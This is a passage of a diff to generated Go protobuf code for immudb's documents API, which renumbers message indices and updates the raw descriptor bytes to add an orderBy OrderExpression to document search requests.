DocumentProofResponse.ProtoReflect.Descriptor instead. func (*DocumentProofResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{32} + return file_documents_proto_rawDescGZIP(), []int{33} } func (x *DocumentProofResponse) GetDatabase() string { @@ -1989,7 +2044,7 @@ type DocumentDeleteRequest struct { func (x *DocumentDeleteRequest) Reset() { *x = DocumentDeleteRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[33] + mi := &file_documents_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2002,7 +2057,7 @@ func (x *DocumentDeleteRequest) String() string { func (*DocumentDeleteRequest) ProtoMessage() {} func (x *DocumentDeleteRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[33] + mi := &file_documents_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2015,7 +2070,7 @@ func (x *DocumentDeleteRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentDeleteRequest.ProtoReflect.Descriptor instead. func (*DocumentDeleteRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{33} + return file_documents_proto_rawDescGZIP(), []int{34} } func (x *DocumentDeleteRequest) GetCollection() string { @@ -2041,7 +2096,7 @@ type DocumentDeleteResponse struct { func (x *DocumentDeleteResponse) Reset() { *x = DocumentDeleteResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[34] + mi := &file_documents_proto_msgTypes[35] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2054,7 +2109,7 @@ func (x *DocumentDeleteResponse) String() string { func (*DocumentDeleteResponse) ProtoMessage() {} func (x *DocumentDeleteResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[34] + mi := &file_documents_proto_msgTypes[35] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2067,7 +2122,7 @@ func (x *DocumentDeleteResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentDeleteResponse.ProtoReflect.Descriptor instead. func (*DocumentDeleteResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{34} + return file_documents_proto_rawDescGZIP(), []int{35} } var File_documents_proto protoreflect.FileDescriptor @@ -2198,7 +2253,7 @@ var file_documents_proto_rawDesc = []byte{ 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, - 0x69, 0x6f, 0x6e, 0x22, 0xc0, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x69, 0x6f, 0x6e, 0x22, 0xe5, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, @@ -2206,239 +2261,245 @@ var file_documents_proto_rawDesc = []byte{ 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, - 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, - 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, - 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x48, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, - 0x3f, 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, - 0x22, 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, - 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, - 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, 0x66, 0x69, - 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x22, 0x93, - 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, - 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, - 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, - 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x22, 0x74, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, - 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, - 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8b, 0x01, 0x0a, 0x12, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x98, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, - 0x50, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, - 0x61, 0x67, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, - 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, - 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x75, 0x65, 0x72, 0x79, 0x12, 0x37, 0x0a, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x12, 0x12, 0x0a, + 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, + 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x3b, 0x0a, 0x0f, 0x4f, + 0x72, 0x64, 0x65, 0x72, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x14, + 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, + 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x22, 0x48, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x12, 0x3f, 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x73, 0x22, 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, + 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, + 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, + 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, + 0x22, 0x93, 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, + 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, + 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, + 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, + 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x74, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x12, 0x3e, 0x0a, 0x09, + 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb6, 0x01, 0x0a, - 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, - 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, - 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, - 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xe6, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, - 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, - 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x62, - 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8b, 0x01, 0x0a, + 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, + 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, + 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, + 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x98, 0x01, 0x0a, 0x14, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, + 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, + 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, + 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb6, + 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, - 0x72, 0x79, 0x22, 